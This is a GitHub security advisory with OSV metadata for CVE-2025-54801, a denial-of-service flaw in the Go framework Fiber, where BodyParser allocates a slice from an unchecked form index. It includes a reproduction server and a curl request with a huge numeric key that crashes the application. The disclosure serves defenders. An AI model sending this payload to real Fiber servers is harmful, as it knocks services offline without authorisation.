ghsa-qx2q-88mx-vhg7
Vulnerability from github
Published
2025-08-05 15:22
Modified
2025-08-06 14:31
Summary
Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder
Details

Description

When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.

The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.

Steps to Reproduce

Create a POST request handler that accepts x-www-form-urlencoded data

```go package main

import ( "fmt" "net/http"

"github.com/gofiber/fiber/v2"

)

type RequestBody struct { NestedContent []*struct{} form:"test" }

func main() { app := fiber.New()

app.Post("/", func(c *fiber.Ctx) error {
    formData := RequestBody{}
    if err := c.BodyParser(&formData); err != nil {
        fmt.Println(err)
        return c.SendStatus(http.StatusUnprocessableEntity)
    }
    return nil
})

fmt.Println(app.Listen(":3000"))

}

```

Run the server and send a POST request with a large numeric key in form data, such as:

bash curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \ -H 'Content-Type: application/x-www-form-urlencoded'

Relevant Code Snippet

Within the decoder's decode method:

go idx := parts[0].index if v.IsNil() || v.Len() < idx+1 { value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge if v.Len() < idx+1 { reflect.Copy(value, v) } v.Set(value) }

The idx is not validated before use, leading to unsafe slice allocation for extremely large values.


Impact

  • Application panic or crash on malicious or malformed input.
  • Potential denial of service (DoS) via memory exhaustion or server crash.
  • Lack of defensive checks in the parsing code causes instability.
Show details on source website


{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.52.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.52.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-05T15:22:21Z",
    "nvd_published_at": "2025-08-06T00:15:31Z",
    "severity": "HIGH"
  },
  "details": "### Description\n\nWhen using Fiber\u0027s `Ctx.BodyParser` to parse form data containing a large numeric key that represents a slice index (e.g., `test.18446744073704`), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.\n\nThe root cause is that the decoder attempts to allocate a slice of length `idx + 1` without validating whether the index is within a safe or reasonable range. If `idx` is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.\n\n\n### Steps to Reproduce\n\nCreate a POST request handler that accepts `x-www-form-urlencoded` data\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gofiber/fiber/v2\"\n)\n\ntype RequestBody struct {\n\tNestedContent []*struct{} `form:\"test\"`\n}\n\nfunc main() {\n\tapp := fiber.New()\n\n\tapp.Post(\"/\", func(c *fiber.Ctx) error {\n\t\tformData := RequestBody{}\n\t\tif err := c.BodyParser(\u0026formData); err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn c.SendStatus(http.StatusUnprocessableEntity)\n\t\t}\n\t\treturn nil\n\t})\n\n\tfmt.Println(app.Listen(\":3000\"))\n}\n\n```\n\nRun the server and send a POST request with a large numeric key in form data, such as:\n\n```bash\ncurl -v -X POST localhost:3000 --data-raw \u0027test.18446744073704\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027\n```\n\n\n### Relevant Code Snippet\n\nWithin the decoder\u0027s [decode method](https://github.com/gofiber/fiber/blob/v2.52.8/internal/schema/decoder.go#L249):\n\n```go\nidx := parts[0].index\nif v.IsNil() || v.Len() \u003c idx+1 {\n    value := reflect.MakeSlice(t, idx+1, idx+1)  // \u003c-- Panic/crash occurs here when idx is huge\n    if v.Len() \u003c idx+1 {\n        reflect.Copy(value, v)\n    }\n    v.Set(value)\n}\n```\n\nThe `idx` is not validated before use, leading to unsafe slice allocation for extremely large values.\n\n---\n\n### Impact\n\n- Application panic or crash on malicious or malformed input.\n- Potential denial of service (DoS) via memory exhaustion or server crash.\n- Lack of defensive checks in the parsing code causes instability.",
  "id": "GHSA-qx2q-88mx-vhg7",
  "modified": "2025-08-06T14:31:40Z",
  "published": "2025-08-05T15:22:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/security/advisories/GHSA-qx2q-88mx-vhg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/commit/e115c08b8f059a4a031b492aa9eef0712411853d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gofiber/fiber"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder"
}


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